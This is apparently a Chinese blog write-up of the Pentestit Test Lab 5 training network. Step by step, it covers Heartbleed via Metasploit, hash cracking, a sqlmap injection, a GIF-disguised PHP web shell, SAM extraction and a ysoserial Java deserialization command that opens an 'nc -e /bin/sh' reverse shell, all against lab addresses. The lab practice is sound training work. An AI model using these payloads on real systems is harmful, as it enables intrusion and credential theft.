一直挣扎与叹气的一个月,最后还是没有完成.只能留着以后有机会再弄吧…
地址: href=”https://lab.pentestit.ru/pentestlabs/5” 环境示意图: 首先通过连接vpn从而能访问到防火墙gw,vpn的配置在官网已经给出,使用的系统为kali2016-vm版(下载地址:https://www.offensive-security.com/kali-linux-vmware-virtualbox-image-download/index.php) 根据自己的需要下载iso.
0x01(mainsite&&bypass)
nmap 扫描gw(192.168.101.8)的开放端口及其服务. 可以知道有ssh、smtp、80的http、https、3128的代理、8100的web服务. 直接访问gw的80端口.(如果出现无法解析的问题尝试修改/etc/hosts在其中添加一条 192.168.101.8 cybear32c.lab) 先把两个邮箱的信息记录下来.先扫描下目录吧. 使用dirb 扫描目录. 发现并没有任何发现,接下来利用剩下的信息.尝试使用代理登陆. 用户名和密码…完全没有想法.这个时候再看nmap收集的信息. 访问443端口的服务器. ssl这个地方可以用sslscan扫描下版本漏洞. 诶,意外之喜.利用”心脏滴血”漏洞.msf自带这个攻击模块. 攻击设置:
set rhosts 192.168.101.8
set TLS_VERSION 1.2
set verbose true
结果里面发现一个特殊的文件. 文件路径为/var/www/html/_old_backup_2010/old_proxy_users,为代理的用户备份文件.将其下载下来.其中有bypass的topken. 发现是经过加密的用户名及密码.形式为FreeBSD形式的加密. 使用john进行破解.得到了密码.. 现在测试账号与密码的正确性.使用代理服务. URL不可以使用,直接使用域名访问. 查看源代码.发现wordpress的一个插件. 使用wpscan扫描站点,查看漏洞. 发现有注入的漏洞.https://www.exploit-db.com/exploits/37824/ 使用sqlmap进行探测. 使用的payload:
sqlmap -u "http://cybear32c.lab/wp-content/plugins/wp-symposium/get_album_item.php?size=1" --dbs --dbms mysql --proxy="http://192.168.101.8:3128" --suffix=" -- " --proxy-cred="b.muncy:xxxxx"
Result: 获得,mainsite token.
0x02(ssh)
ssh连接. 发现与平常的ssh连接不同,多了一个”The password”的选项.这是一个ssh的j加固的pam名字为krakenwaffe.Google一下.发现是GitHub上的一个人. 于是他有个项目的名字叫做eyelog,里面有一个文件叫做mypam.c 文件内容中有root登陆的限制和验证password的机制: 发现密码是由”daypass”+day+hour构成的. 时间是个问题,根据它是一个俄罗斯的lab,所以我选择莫斯科的时间进行测试. https://www.timeanddate.com/worldclock/russia/moscow 失败了.可能是密码错误或或者是用户不允许被登陆.那我们换一个默认的系统用户去登陆. 成功了,然后发现无法打开这个用户的目录.尝试用这个用户进行ssh登陆. 得到token.
0x03(ftp)
扫描172.16.0.4. 发现这个版本的ftp是有漏洞 但是会发现是执行不了的.接下来远程ftp连接172.16.0.4使用anonymous访问. 在/dist目录下发现了ProFTPD的源码.下载到本地的/tmp目录下(ps:下载之后在目录下找下,可能并没有源码,就去到子目录中.) 根据exploit-db的解释以及1.3.3的exp提示,进入到src/help.c下去查看代码. 得到ftp token.
0x04(cisco)
首先留意问/home下有一个cisco_upload的文件,可能之后会用到.进入之后发现有一个router-confg.old文件,查发现有密码在里面. 扫描cisco的服务器. 发现开了一个telnet,直接连接上去.得到cisco token.
0x05(Photo)
用nmap进行扫描.发现80端口. 将其80端口代理到本地的80端口. 设置浏览器代理127.0.0.1访问发现是一个上传的页面. 上传图片是成功的.上传php就是失败了. 以上是三种错误.上传一张图片进行欺骗. 上传的后缀可以是.php5、.phtml、.pht….发现上传最后一个是可以执行命令的.
GIF89a
<?php
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
?>
再根据扫描得出目录. 访问并且执行命令,发现photo token.
0x06(NAS)
使用nmap扫描192.168.0.3. 发现有一个3260端口的iscsi的指令集操作.去网上查看下iscsi的使用命令,下载iscsiadm. 这个时候先将3260的端口给转发到本地的话.可以获得节点的名称.但是如果使用ssh去转发端口的时候会发现,本地无法登陆上去.这个时候使用sshuttle 它可以将你的子网流量转发到vpn上去. 再次查看目标信息并且登陆上去. 登陆成功之后.查看本地的盘符并且将多余的挂载到本地. 查看其中的本件发现有一个.vmdk的文件,将其虚拟化成一块设备.并且把文件提取出来. 这样你就能在你的电脑上看到多了一个文件系统. 去把WINDOWS/system32/config给拷贝到本地.使用samdump2和raibow table 来破解SAM 文件的密码.因为其中有一个用户叫做token_nas_token. 得到token.
0x07(termianl2)
namp扫描192.168.3.2. 用rdesktop连接桌面.使用之前获得的账号尝试登陆.发现d.rector账户可以登陆.得到token.
0x08(mail)
回到gw的子网内.nmap的扫描结果给定了一个80端口. 直接去访问发现是一个roundcube. 使用之前在b.muncy@cybear32c.lab的账号登陆.发现无法登陆成功.使用刚刚获得的d.rector登陆.success. 里面发现什么东西都没有.那么发送一个消息分别给得到的两个邮箱.发现r.diaz@cybear32c.lab是由回复的.但是为空.所以尝试向其发送附件.麻烦的就是文件类型的问题,开始发送各种类型的文件,最后发现word文件把token给返回了.
0x09(dev)
发现无法重新远程连接上192.168.3.2,所以无法继续… Youtube有教程自己可以查看…
0x10(portal)
使用nmap扫描192.168.1.2. 发现有一个8080端口.将其转发至本地的8080端口. 访问本地的8080. 使用之前代理的账号b.muncy登陆. 使用firebug查看cookie发现base64加密. 解密之后得到和java有关,这是一个存储了用户名和密码的java对象. 这是一个java反序列化的漏洞,使用的Apache Java CommonsCollections 框架.在内存中存在一个代码执行的可能.经过一番寻找之后.你能找到一个ysoserial 使用已经打包好的0.0.4版本时候会产生一个错误.导致无法反弹shell. 接着尝试直接从git上把源码进行编译打包.
git https://github.com/frohoff/ysoserial
cd ysoserial
mvn compile
mvn package -DskipTests
就能在target下找到已经打包好的0.0.5.使用如下命令.
curl -b 'userInfo="'$(java -jar ysoserial-0.0.5-SNAPSHOT-all.jar CommonsCollections5 'nc -e /bin/sh 172.16.0.2 1235' | base64 | tr -d '\n')'"' 'http://127.0.0.1:8080/index.jsp'
再次尝试反弹shell.成功并且拿到token. 并且还能发现mail中b.muncy账户的密码.
0x11(site-test)
直接将端口转发到本地的80端口上. 随便乱点,发现点击join的时候,会发现有一个上传简历的地方. 发现有个图片上传点.如果想要利用图片上传的话必须要知道上传之后的位置.访问robots.txt,发现有一个upload文件夹. 发现被禁止访问. 上传一张图片并且将信息填完,上传成功之后访问图片发现还是失败. 然后就没有想法了.眼前只有一个上传可以利用,并且无法访问. 那么就利用一个上传漏洞Imagemagick 创建一张图片 上传之后,得到shell.
0x12(ssh-test)
已经知道了是ssh的knock,但是不管是使用脚本敲门,还是konock敲门,都不能把22端口打开.并且扫描也扫不出端口…(就扫出过一次…)
0x13(termianl)
这个….并没有做出根据writeup需要安装的是要在x86的环境下的payload…
如果已经解决了我的问题的人,求交流一下…^_^